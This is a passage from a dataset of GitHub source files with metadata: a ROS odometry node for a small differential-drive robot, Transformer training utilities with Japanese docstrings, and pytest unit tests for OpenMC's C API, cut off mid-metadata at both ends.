"call"}, {"api_name": "enum.Enum", "line_number": 35, "usage_type": "name"}, {"api_name": "math.floor", "line_number": 96, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 111, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 130, "usage_type": "call"}, {"api_name": "signal.setitimer", "line_number": 137, "usage_type": "call"}, {"api_name": "signal.ITIMER_REAL", "line_number": 137, "usage_type": "attribute"}, {"api_name": "signal.setitimer", "line_number": 141, "usage_type": "call"}, {"api_name": "signal.ITIMER_REAL", "line_number": 141, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 163, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 194, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 215, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 224, "usage_type": "call"}]}
{"seq_id": "4971730052", "text": "#!/usr/bin/env python\n\nfrom math import cos, sin, pi\n\nimport rospy\nfrom tf.transformations import euler_from_quaternion, quaternion_from_euler\nfrom tf2_ros import TransformBroadcaster\nfrom std_msgs.msg import Float32, Empty\nfrom geometry_msgs.msg import Pose, TransformStamped, Vector3\nimport numpy as np\n\n#Class which has some characteristics of the robot and \n#\thas the odometry variables\nclass Odom:\n\t#Initialize pose class\n\tp = Pose()\n\t#Speed and delta time\n\twl = 0\n\twr = 0\n\tdt = 0.01\n\t#posPub = rospy.Publisher('Position', Pose, queue_size = 10)\n\tr = 0.05 # Wheel radius, 0.05m\n\tl = 0.19 # Distance between robot wheels 0.19m\n\n\t#Get the speed of left wheel\n\tdef lSpeed(self, data):\n\t\tself.wl = data.data\n\t#Get the speed of rigth wheel\n\tdef rSpeed(self, data):\n\t\tself.wr = data.data\n\t\n\t#Calculate position based on the integration of velocities\n\tdef calculate(self):\n\t\teuler = euler_from_quaternion((self.p.orientation.x,self.p.orientation.y,self.p.orientation.z,self.p.orientation.w))\n\t\tyaw = euler[2]\n\n\t\t#Computing and updating the position on the pose object\n\t\tself.p.position.x += (self.r*(self.wr+self.wl)/2*self.dt*cos(yaw))\n\t\tself.p.position.y += (self.r*(self.wr+self.wl)/2*self.dt*sin(yaw))\n\n\t\tif(yaw>pi or yaw<-pi):\n\t\t\tyaw*=-1\n\t\t\n\t\t#Update yaw\n\t\tyaw+=self.r*(self.wr-self.wl)/self.l*self.dt\n\t\t#Send yaw value to ros log\n\t\trospy.loginfo(yaw)\n\t\t#Compute the new quaternion with new yaw value\n\t\tquat = quaternion_from_euler(0, 0, yaw)\n\t\t#Update orientation \n\t\tself.p.orientation.x = quat[0]\n\t\tself.p.orientation.y = quat[1]\n\t\tself.p.orientation.z = quat[2]\n\t\tself.p.orientation.w = quat[3]\n\t\t#self.posPub.publish(self.p)\n\n\t#Send transformation using broadcaster\n\tdef broadcastTransform(self):\n\t\t#Initialize broadcaster\n\t\tbr = TransformBroadcaster()\n\t\tt = TransformStamped()\n\t\t#Fill the transform with the position and orientations\n\t\tt.header.stamp = rospy.Time.now()\n\t\t#Frame names\n\t\tt.header.frame_id = \"world\"\n\t\tt.child_frame_id = \"robot\"\n\t\tt.transform.translation = Vector3(self.p.position.x, self.p.position.y,self.p.position.z)\n\t\tt.transform.rotation = self.p.orientation\n\t\t#Send transform\n\t\tbr.sendTransform(t)\n\t\n\t#Restart pose\n\tdef restart(self,_):\n\t\tself.p = Pose()\n\n\t#Get the pose directly\n\tdef getPose(self):\n\t\treturn self.p\n\n\ndef main():\n\t#Init the of odometry\n\trospy.init_node('Odometry', anonymous=True)\n\t#Set rospy rate\n\tr = rospy.Rate(100)\n\t#Iniatilize class\n\todometria = Odom()\n\t#Get speed from topic using the Odometry class methods\n\trospy.Subscriber(\"/wl\", Float32, odometria.lSpeed)\n\trospy.Subscriber(\"/wr\", Float32, odometria.rSpeed)\n\trospy.Subscriber(\"position/restart\",Empty, odometria.restart)\n\n\t#Keep calculating the position and sending the transform\n\twhile not rospy.is_shutdown():\n\t\todometria.calculate()\n\t\todometria.broadcastTransform()\n\t\tr.sleep()\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "ianyan11/puzzlebot_code", "sub_path": "solution/src/odometry.py", "file_name": "odometry.py", "file_ext": "py", "file_size_in_byte": 2828, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "geometry_msgs.msg.Pose", "line_number": 16, "usage_type": "call"}, {"api_name": "tf.transformations.euler_from_quaternion", "line_number": 34, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 38, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 39, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 41, "usage_type": "name"}, {"api_name": "rospy.loginfo", "line_number": 47, "usage_type": "call"}, {"api_name": "tf.transformations.quaternion_from_euler", "line_number": 49, "usage_type": "call"}, {"api_name": "tf2_ros.TransformBroadcaster", "line_number": 60, "usage_type": "call"}, {"api_name": "geometry_msgs.msg.TransformStamped", "line_number": 61, "usage_type": "call"}, {"api_name": "rospy.Time.now", "line_number": 63, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 63, "usage_type": "attribute"}, {"api_name": "geometry_msgs.msg.Vector3", "line_number": 67, "usage_type": "call"}, {"api_name": "geometry_msgs.msg.Pose", "line_number": 74, "usage_type": "call"}, {"api_name": "rospy.init_node", "line_number": 83, "usage_type": "call"}, {"api_name": "rospy.Rate", "line_number": 85, "usage_type": "call"}, {"api_name": "rospy.Subscriber", "line_number": 89, "usage_type": "call"}, {"api_name": "std_msgs.msg.Float32", "line_number": 89, "usage_type": "argument"}, {"api_name": "rospy.Subscriber", "line_number": 90, "usage_type": "call"}, {"api_name": "std_msgs.msg.Float32", "line_number": 90, "usage_type": "argument"}, {"api_name": "rospy.Subscriber", "line_number": 91, "usage_type": "call"}, {"api_name": "std_msgs.msg.Empty", "line_number": 91, "usage_type": "argument"}, {"api_name": "rospy.is_shutdown", "line_number": 94, "usage_type": "call"}]}
{"seq_id": "70572441212", "text": "import time\nimport torch\nimport GPUtil\nimport pickle\nimport datetime\nimport numpy as np\nimport torch.nn as nn\n\nfrom pynvml import *\n\nfrom torch import Tensor\nfrom nltk.translate import bleu_score\n\n# from torchtext.vocab import Vocab\nfrom typing import Any, Dict, List\nfrom torch.utils.data.dataloader import DataLoader\n\n\ndef save_pkl(name: str, file: DataLoader) -> None:\n    \"\"\"pklファイルとして保存\n\n    Args:\n        name (str): 保存ファイル名\n        file (Any): 保存データ\n    \"\"\"\n    with open(name, \"wb\") as f:\n        pickle.dump([file], f)\n\n\ndef load_pkl(name: str) -> Any:\n    \"\"\"pklファイルを読み込み\n\n    Args:\n        name (str): ファイル名\n\n    Returns:\n        file (Any): 保存されていたデータ\n    \"\"\"\n    with open(name, \"rb\") as f:\n        file = pickle.load(f)[0]\n    return file\n\n\ndef update_values(dict_from: Dict[str, Any], dict_to: Dict[str, Any]) -> None:\n    \"\"\"引数をymlファイルの内容に更新\n\n    Args:\n        dict_from (Dict): ymlファイルに記述された新規引数\n        dict_to (Dict): 更新される側の引数\n\n    Note:\n        Ref: https://github.com/salesforce/densecap/blob/5d08369ffdcb7db946ae11a8e9c8a056e47d28c2/data/utils.py#L85\n    \"\"\"\n    for key, value in dict_from.items():\n        if isinstance(value, dict):\n            update_values(dict_from[key], dict_to[key])\n        elif value is not None:\n            dict_to[key] = dict_from[key]\n\n\ndef calc_bleu(refs: List[List[int]], hyps: List[List[int]], eos_idx: int) -> float:\n    \"\"\"BLEUスコアを計算する関数\n\n    Args:\n        refs (list): 正解列\n        hyps (list): 予測列\n        eos_idx (int): EOSインデックス\n\n    Returns:\n        bleu (float): BLEUスコア(0~100)\n\n    Note:\n        refs: List[List[Any]]とするとmypyでエラーが消えるが、実際List[List[int]]で良いと考えている\n    \"\"\"\n    refs = [[ref[: ref.index(eos_idx)]] for ref in refs]  # type: ignore\n    hyps = [hyp[: hyp.index(eos_idx)] if eos_idx in hyp else hyp for hyp in hyps]\n    bleu = 100 * bleu_score.corpus_bleu(\n        refs, hyps, smoothing_function=bleu_score.SmoothingFunction().method1\n    )\n    return bleu  # type: ignore\n\n\ndef get_attn_padding_mask(seq_q: Tensor, seq_k: Tensor, pad_idx: int) -> Tensor:\n    \"\"\"Paddingトークンにattentionをさせないためのマスクを作成\n\n    各バッチ内の各 seq_q 要素に対して、seq_k の対応する要素がパディングされているかどうかを示すパディングマスク\n\n    Args:\n        seq_q (Tensor): queryの系列, shape [batch_size, len_q]\n        seq_k (Tensor): keyの系列, shape [batch_size, len_k],\n        pad_idx (int): paddingのインデックス\n\n    Returns:\n        pad_attn_mask (Tensor): shape [batch_size, len_q, len_k]\n\n    Examples:\n        seq_q: torch.tensor [1,2,3]\n        seq_k: torch.tensor [4,5,6,PAD]\n\n        pad_attn_mask: torch.tensor [[False, False, False, False, True],   <- True部分は, 「1」と「PAD」との間を注視しないようにする\n                                    [False, False, False, False, True],    <- True部分は, 「2」と「PAD」との間を注視しないようにする\n                                    [False, False, False, False, True]]    <- True部分は, 「3」と「PAD」との間を注視しないようにする\n\n    \"\"\"\n    batch_size, len_q = seq_q.size()\n    len_k = seq_k.size()[1]\n    pad_attn_mask = seq_k.data.eq(pad_idx).unsqueeze(1)  # (N, 1, len_k)\n    pad_attn_mask = pad_attn_mask.expand(batch_size, len_q, len_k)  # (N, len_q, len_k)\n    return pad_attn_mask\n\n\ndef get_attn_subsequent_mask(seq: Tensor, device: torch.device) -> Tensor:\n    \"\"\"未来情報カンニング防止のためにattentionを0にするためのマスクを作成\n\n    Args:\n        seq (Tensor): shape [batch_size, length]\n        device (torch.device): cuda or cpu\n\n    Returns:\n        subsequent_mask (Tensor): shape [batch_size, length, length]\n    \"\"\"\n    attn_shape = (seq.size(1), seq.size(1))\n    # 上三角行列(diagonal=1: 対角線より上が1で下が0)\n    subsequent_mask = torch.triu(\n        torch.ones(attn_shape, dtype=torch.uint8, device=device), diagonal=1\n    )\n    subsequent_mask = subsequent_mask.repeat(seq.size(0), 1, 1)\n    return subsequent_mask\n\n\n# def ids_to_sentence(vocab: Vocab, ids: List[int]) -> str:\ndef ids_to_sentence(vocab, ids: List[int]) -> str:\n    \"\"\"IDリストを単語リストに変換\n\n    Args:\n         vocab (Vocab): 語彙辞書\n         ids (List[int]): IDリスト\n\n    Returns:\n         seq (str): 単語リスト\n    \"\"\"\n    seq = \"\".join([vocab.vocab.itos_[_id] for _id in ids])\n    return seq\n\n\ndef trim_eos(ids: List[int], eos_id: int) -> List[int]:\n    \"\"\"IDリストからEOS以降の単語を除外\n\n    Args:\n         ids (List[int]): IDリスト\n         eos_id (int): EOSのID\n\n    Returns:\n         ids (List[int]): IDリスト\n    \"\"\"\n    return ids[: ids.index(eos_id)] if eos_id in ids else ids\n\n\ndef position_encoding_init(n_pos: int, d_model: int) -> torch.Tensor:\n    \"\"\"位置エンコーディングのための位置埋め込み行列の初期化\n\n    Args:\n        n_pos (int): 位置数  ->  max_len + 1\n        d_model (int): 隠れ次元数\n\n    Returns:\n        pos_tensor (torch.Tensor): 位置埋め込みテンソル\n    \"\"\"\n    # PADがある単語の位置はpos=0にしておき、position_encも0にする\n    position_enc = np.array(\n        [\n            [pos / np.power(10000, 2 * (j // 2) / d_model) for j in range(d_model)]\n            if pos != 0\n            else np.zeros(d_model)\n            for pos in range(n_pos)\n        ]\n    )\n\n    position_enc[1:, 0::2] = np.sin(\n        position_enc[1:, 0::2]\n    )  # dim 2i      0::2とは、0,2,4,6,8,10,...という意味\n    position_enc[1:, 1::2] = np.cos(\n        position_enc[1:, 1::2]\n    )  # dim 2i+1    1::2とは、1,3,5,7,9,/....という意味\n\n    pos_tensor = torch.tensor(position_enc, dtype=torch.float)\n    return pos_tensor\n\n\ndef set_gpu(device: torch.device, model: nn.Module):\n    \"\"\"GPUをセット\n\n    Args:\n        device (torch.device): cpu or cuda\n        model (nn.Module): Transformerモデル\n    \"\"\"\n    if device.type == \"cuda\":\n        model = torch.nn.DataParallel(model) if torch.cuda.device_count() > 1 else model\n        model.to(device)\n\n\ndef print_time(func):\n    \"\"\"デコレーター：ログ出力\"\"\"\n\n    def wrapper(*args, **kargs):\n        start = time.time()\n        output = func(*args, **kargs)\n        end = time.time()\n        print(f\"処理時間：{str(round(end - start, 2))}[s]\")\n        return output\n\n    return wrapper\n\ndef decide_csv_name() -> str:\n    \"\"\"CSVファイルの名前を決定\n\n    CSVファイルの名前は、実行した日時と時間の組み合わせとする\n\n    Returns:\n        csv_name (str): CSVファイルの名前\n    \"\"\"\n    dt = datetime.datetime.now()\n    csv_name = \"../csv_log/{}月{}日{}時{}分_log.csv\".format(\n        dt.month, dt.day, dt.hour, dt.minute\n    )\n    return csv_name\n\ndef calc_time(func):\n    \"\"\"デコレーター：ログ出力\"\"\"\n\n    def wrapper(*args, **kargs):\n        start = time.time()\n        output = func(*args, **kargs)\n        end = time.time()\n        elapsed_time = end - start\n        return output, elapsed_time\n\n    return wrapper\n\n\ndef release_gpu():\n    torch.cuda.empty_cache()\n    GPUtil.showUtilization()\n\n\ndef print_gpu_utilization():\n    nvmlInit()\n    handle = nvmlDeviceGetHandleByIndex(0)\n    info = nvmlDeviceGetMemoryInfo(handle)\n    print(f\"GPU memory occupied: {info.used // 1024 ** 2} MB.\")", "repo_name": "textcunma/transformer_repro", "sub_path": "transformer_repro/utils/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 7615, "program_lang": "python", "lang": "ja", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.utils.data.dataloader.DataLoader", "line_number": 19, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 27, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 40, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 30, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 44, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 44, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 61, "usage_type": "name"}, {"api_name": "nltk.translate.bleu_score.corpus_bleu", "line_number": 77, "usage_type": "call"}, {"api_name": "nltk.translate.bleu_score", "line_number": 77, "usage_type": "name"}, {"api_name": "nltk.translate.bleu_score.SmoothingFunction", "line_number": 78, "usage_type": "call"}, {"api_name": "nltk.translate.bleu_score", "line_number": 78, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 83, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 112, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 112, "usage_type": "attribute"}, {"api_name": "torch.triu", "line_number": 124, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 125, "usage_type": "call"}, {"api_name": "torch.uint8", "line_number": 125, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 132, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 146, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 170, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 182, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 186, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 186, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 159, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 190, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 190, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 190, "usage_type": "name"}, {"api_name": "torch.cuda.device_count", "line_number": 198, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 198, "usage_type": "attribute"}, {"api_name": "torch.nn.DataParallel", "line_number": 198, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 198, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 206, "usage_type": "call"}, {"api_name": "time.time", "line_number": 208, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 222, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 222, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 232, "usage_type": "call"}, {"api_name": "time.time", "line_number": 234, "usage_type": "call"}, {"api_name": "torch.cuda.empty_cache", "line_number": 242, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 242, "usage_type": "attribute"}, {"api_name": "GPUtil.showUtilization", "line_number": 243, "usage_type": "call"}]}
{"seq_id": "42765070593", "text": "from collections.abc import Mapping\nimport os\n\nimport numpy as np\nimport pytest\nimport openmc\nimport openmc.exceptions as exc\nimport openmc.capi\n\nfrom tests import cdtemp\n\n\n@pytest.fixture(scope='module')\ndef pincell_model():\n    \"\"\"Set up a model to test with and delete files when done\"\"\"\n    openmc.reset_auto_ids()\n    pincell = openmc.examples.pwr_pin_cell()\n    pincell.settings.verbosity = 1\n\n    # Add a tally\n    filter1 = openmc.MaterialFilter(pincell.materials)\n    filter2 = openmc.EnergyFilter([0.0, 1.0, 1.0e3, 20.0e6])\n    mat_tally = openmc.Tally()\n    mat_tally.filters = [filter1, filter2]\n    mat_tally.nuclides = ['U235', 'U238']\n    mat_tally.scores = ['total', 'elastic', '(n,gamma)']\n    pincell.tallies.append(mat_tally)\n\n    # Add an expansion tally\n    zernike_tally = openmc.Tally()\n    filter3 = openmc.ZernikeFilter(5, r=.63)\n    cells = pincell.geometry.root_universe.cells\n    filter4 = openmc.CellFilter(list(cells.values()))\n    zernike_tally.filters = [filter3, filter4]\n    zernike_tally.scores = ['fission']\n    pincell.tallies.append(zernike_tally)\n\n    # Write XML files in tmpdir\n    with cdtemp():\n        pincell.export_to_xml()\n        yield\n\n\n@pytest.fixture(scope='module')\ndef capi_init(pincell_model):\n    openmc.capi.init()\n    yield\n    openmc.capi.finalize()\n\n\n@pytest.fixture(scope='module')\ndef capi_run(capi_init):\n    openmc.capi.run()\n\n\ndef test_cell_mapping(capi_init):\n    cells = openmc.capi.cells\n    assert isinstance(cells, Mapping)\n    assert len(cells) == 3\n    for cell_id, cell in cells.items():\n        assert isinstance(cell, openmc.capi.Cell)\n        assert cell_id == cell.id\n\n\ndef test_cell(capi_init):\n    cell = openmc.capi.cells[1]\n    assert isinstance(cell.fill, openmc.capi.Material)\n    cell.fill = openmc.capi.materials[1]\n    assert str(cell) == 'Cell[1]'\n\n\ndef test_new_cell(capi_init):\n    with pytest.raises(exc.AllocationError):\n        openmc.capi.Cell(1)\n    new_cell = openmc.capi.Cell()\n    new_cell_with_id = openmc.capi.Cell(10)\n    assert len(openmc.capi.cells) == 5\n\n\ndef test_material_mapping(capi_init):\n    mats = openmc.capi.materials\n    assert isinstance(mats, Mapping)\n    assert len(mats) == 3\n    for mat_id, mat in mats.items():\n        assert isinstance(mat, openmc.capi.Material)\n        assert mat_id == mat.id\n\n\ndef test_material(capi_init):\n    m = openmc.capi.materials[3]\n    assert m.nuclides == ['H1', 'O16', 'B10', 'B11']\n\n    old_dens = m.densities\n    test_dens = [1.0e-1, 2.0e-1, 2.5e-1, 1.0e-3]\n    m.set_densities(m.nuclides, test_dens)\n    assert m.densities == pytest.approx(test_dens)\n\n    rho = 2.25e-2\n    m.set_density(rho)\n    assert sum(m.densities) == pytest.approx(rho)\n\n\ndef test_new_material(capi_init):\n    with pytest.raises(exc.AllocationError):\n        openmc.capi.Material(1)\n    new_mat = openmc.capi.Material()\n    new_mat_with_id = openmc.capi.Material(10)\n    assert len(openmc.capi.materials) == 5\n\n\ndef test_nuclide_mapping(capi_init):\n    nucs = openmc.capi.nuclides\n    assert isinstance(nucs, Mapping)\n    assert len(nucs) == 12\n    for name, nuc in nucs.items():\n        assert isinstance(nuc, openmc.capi.Nuclide)\n        assert name == nuc.name\n\n\ndef test_load_nuclide(capi_init):\n    openmc.capi.load_nuclide('Pu239')\n    with pytest.raises(exc.DataError):\n        openmc.capi.load_nuclide('Pu3')\n\n\ndef test_settings(capi_init):\n    settings = openmc.capi.settings\n    assert settings.batches == 10\n    settings.batches = 10\n    assert settings.inactive == 5\n    assert settings.generations_per_batch == 1\n    assert settings.particles == 100\n    assert settings.seed == 1\n    settings.seed = 11\n\n    assert settings.run_mode == 'eigenvalue'\n    settings.run_mode = 'volume'\n    settings.run_mode = 'eigenvalue'\n\n\ndef test_tally_mapping(capi_init):\n    tallies = openmc.capi.tallies\n    assert isinstance(tallies, Mapping)\n    assert len(tallies) == 2\n    for tally_id, tally in tallies.items():\n        assert isinstance(tally, openmc.capi.Tally)\n        assert tally_id == tally.id\n\n\ndef test_tally(capi_init):\n    t = openmc.capi.tallies[1]\n    t.id = 1\n    assert len(t.filters) == 2\n    assert isinstance(t.filters[0], openmc.capi.MaterialFilter)\n    assert isinstance(t.filters[1], openmc.capi.EnergyFilter)\n\n    # Create new filter and replace existing\n    with pytest.raises(exc.AllocationError):\n        openmc.capi.MaterialFilter(uid=1)\n    mats = openmc.capi.materials\n    f = openmc.capi.MaterialFilter([mats[2], mats[1]])\n    t.filters = [f]\n    assert t.filters == [f]\n\n    assert t.nuclides == ['U235', 'U238']\n    with pytest.raises(exc.DataError):\n        t.nuclides = ['Zr2']\n    t.nuclides = ['U234', 'Zr90']\n    assert t.nuclides == ['U234', 'Zr90']\n\n    assert t.scores == ['total', '(n,elastic)', '(n,gamma)']\n    new_scores = ['scatter', 'fission', 'nu-fission', '(n,2n)']\n    t.scores = new_scores\n    assert t.scores == new_scores\n\n    assert not t.active\n    t.active = True\n    assert t.active\n\n    t2 = openmc.capi.tallies[2]\n    t2.id = 2\n    assert len(t2.filters) == 2\n    assert isinstance(t2.filters[0], openmc.capi.ZernikeFilter)\n    assert isinstance(t2.filters[1], openmc.capi.CellFilter)\n    assert len(t2.filters[1].bins) == 3\n    assert t2.filters[0].order == 5\n\n\ndef test_new_tally(capi_init):\n    with pytest.raises(exc.AllocationError):\n        openmc.capi.Material(1)\n    new_tally = openmc.capi.Tally()\n    new_tally.scores = ['flux']\n    new_tally_with_id = openmc.capi.Tally(10)\n    new_tally_with_id.scores = ['flux']\n    assert len(openmc.capi.tallies) == 4\n\n\ndef test_tally_results(capi_run):\n    t = openmc.capi.tallies[1]\n    assert t.num_realizations == 10  # t was made active in test_tally\n    assert np.all(t.mean >= 0)\n    nonzero = (t.mean > 0.0)\n    assert np.all(t.std_dev[nonzero] >= 0)\n    assert np.all(t.ci_width()[nonzero] >= 1.95*t.std_dev[nonzero])\n\n    t2 = openmc.capi.tallies[2]\n    n = 5\n    assert t2.mean.size == (n + 1) * (n + 2) // 2 * 3 # Number of Zernike coeffs * 3 cells\n\n\ndef test_global_tallies(capi_run):\n    assert openmc.capi.num_realizations() == 5\n    gt = openmc.capi.global_tallies()\n    for mean, std_dev in gt:\n        assert mean >= 0\n\n\ndef test_statepoint(capi_run):\n    openmc.capi.statepoint_write('test_sp.h5')\n    assert os.path.exists('test_sp.h5')\n\n\ndef test_source_bank(capi_run):\n    source = openmc.capi.source_bank()\n    assert np.all(source['E'] > 0.0)\n    assert np.all(source['wgt'] == 1.0)\n\n\ndef test_by_batch(capi_run):\n    openmc.capi.hard_reset()\n\n    # Running next batch before simulation is initialized should raise an\n    # exception\n    with pytest.raises(exc.AllocationError):\n        openmc.capi.next_batch()\n\n    openmc.capi.simulation_init()\n    for _ in openmc.capi.iter_batches():\n        # Make sure we can get k-effective during inactive/active batches\n        mean, std_dev = openmc.capi.keff()\n        assert 0.0 < mean < 2.5\n        assert std_dev > 0.0\n    assert openmc.capi.num_realizations() == 5\n\n    for i in range(3):\n        openmc.capi.next_batch()\n    assert openmc.capi.num_realizations() == 8\n    openmc.capi.simulation_finalize()\n\n\ndef test_reproduce_keff(capi_init):\n    # Get k-effective after run\n    openmc.capi.hard_reset()\n    openmc.capi.run()\n    keff0 = openmc.capi.keff()\n\n    # Reset, run again, and get k-effective again. they should match\n    openmc.capi.hard_reset()\n    openmc.capi.run()\n    keff1 = openmc.capi.keff()\n    assert keff0 == pytest.approx(keff1)\n\n\ndef test_find_cell(capi_init):\n    cell, instance = openmc.capi.find_cell((0., 0., 0.))\n    assert cell is openmc.capi.cells[1]\n    cell, instance = openmc.capi.find_cell((0.4, 0., 0.))\n    assert cell is openmc.capi.cells[2]\n    with pytest.raises(exc.GeometryError):\n        openmc.capi.find_cell((100., 100., 100.))\n\n\ndef test_find_material(capi_init):\n    mat = openmc.capi.find_material((0., 0., 0.))\n    assert mat is openmc.capi.materials[1]\n    mat = openmc.capi.find_material((0.4, 0., 0.))\n    assert mat is openmc.capi.materials[2]\n\n\ndef test_mesh(capi_init):\n    mesh = openmc.capi.Mesh()\n    mesh.dimension = (2, 3, 4)\n    assert mesh.dimension == (2, 3, 4)\n    with pytest.raises(exc.AllocationError):\n        mesh2 = openmc.capi.Mesh(mesh.id)\n\n    # Make sure each combination of parameters works\n    ll = (0., 0., 0.)\n    ur = (10., 10., 10.)\n    width = (1., 1., 1.)\n    mesh.set_parameters(lower_left=ll, upper_right=ur)\n    assert mesh.lower_left == pytest.approx(ll)\n    assert mesh.upper_right == pytest.approx(ur)\n    mesh.set_parameters(lower_left=ll, width=width)\n    assert mesh.lower_left == pytest.approx(ll)\n    assert mesh.width == pytest.approx(width)\n    mesh.set_parameters(upper_right=ur, width=width)\n    assert mesh.upper_right == pytest.approx(ur)\n    assert mesh.width == pytest.approx(width)\n\n    meshes = openmc.capi.meshes\n    assert isinstance(meshes, Mapping)\n    assert len(meshes) == 1\n    for mesh_id, mesh in meshes.items():\n        assert isinstance(mesh, openmc.capi.Mesh)\n        assert mesh_id == mesh.id\n\n    mf = openmc.capi.MeshFilter(mesh)\n    assert mf.mesh == mesh\n\n    msf = openmc.capi.MeshSurfaceFilter(mesh)\n    assert msf.mesh == mesh\n", "repo_name": "abhikv/openmc", "sub_path": "tests/unit_tests/test_capi.py", "file_name": "test_capi.py", "file_ext": "py", "file_size_in_byte": 9155, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "78", "api": [{"api_name": "openmc.reset_auto_ids", "line_number": 16, "usage_type": "call"}, {"api_name": "openmc.examples.pwr_pin_cell", "line_number": 17, "usage_type": "call"}, {"api_name": "openmc.examples", "line_number": 17, "usage_type": "attribute"}, {"api_name": "openmc.MaterialFilter", "line_number": 21, "usage_type": "call"}, {"api_name": "openmc.EnergyFilter", "line_number": 22, "usage_type": "call"}, {"api_name": "openmc.Tally", "line_number": 23, "usage_type": "call"}, {"api_name": "openmc.Tally", "line_number": 30, "usage_type": "call"}, {"api_name": "openmc.ZernikeFilter", "line_number": 31, "usage_type": "call"}, {"api_name": "openmc.CellFilter", "line_number": 33, "usage_type": "call"}, {"api_name": "tests.cdtemp", "line_number": 39, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 13, "usage_type": "call"}, {"api_name": "openmc.capi.init", "line_number": 46, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 46, "usage_type": "attribute"}, {"api_name": "openmc.capi.finalize", "line_number": 48, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 48, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 44, "usage_type": "call"}, {"api_name": "openmc.capi.run", "line_number": 53, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 53, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 51, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 57, "usage_type": "attribute"}, {"api_name": "collections.abc.Mapping", "line_number": 58, "usage_type": "argument"}, {"api_name": "openmc.capi", "line_number": 61, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 66, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 67, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 68, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 73, "usage_type": "call"}, {"api_name": "openmc.exceptions.AllocationError", "line_number": 73, "usage_type": "attribute"}, {"api_name": "openmc.exceptions", "line_number": 73, "usage_type": "name"}, {"api_name": "openmc.capi.Cell", "line_number": 74, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 74, "usage_type": "attribute"}, {"api_name": "openmc.capi.Cell", "line_number": 75, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 75, "usage_type": "attribute"}, {"api_name": "openmc.capi.Cell", "line_number": 76, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 76, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 77, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 81, "usage_type": "attribute"}, {"api_name": "collections.abc.Mapping", "line_number": 82, "usage_type": "argument"}, {"api_name": "openmc.capi", "line_number": 85, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 90, "usage_type": "attribute"}, {"api_name": "pytest.approx", "line_number": 96, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 100, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 104, "usage_type": "call"}, {"api_name": "openmc.exceptions.AllocationError", "line_number": 104, "usage_type": "attribute"}, {"api_name": "openmc.exceptions", "line_number": 104, "usage_type": "name"}, {"api_name": "openmc.capi.Material", "line_number": 105, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 105, "usage_type": "attribute"}, {"api_name": "openmc.capi.Material", "line_number": 106, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 106, "usage_type": "attribute"}, {"api_name": "openmc.capi.Material", "line_number": 107, "usage_type": "call"}, {"api_name": "openmc.capi", "line_number": 107, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 108, "usage_type": "attribute"}, {"api_name": "openmc.capi", "line_number": 112, "usage_type": "attribute"}, {"api_name": "collections.abc.Mapping", 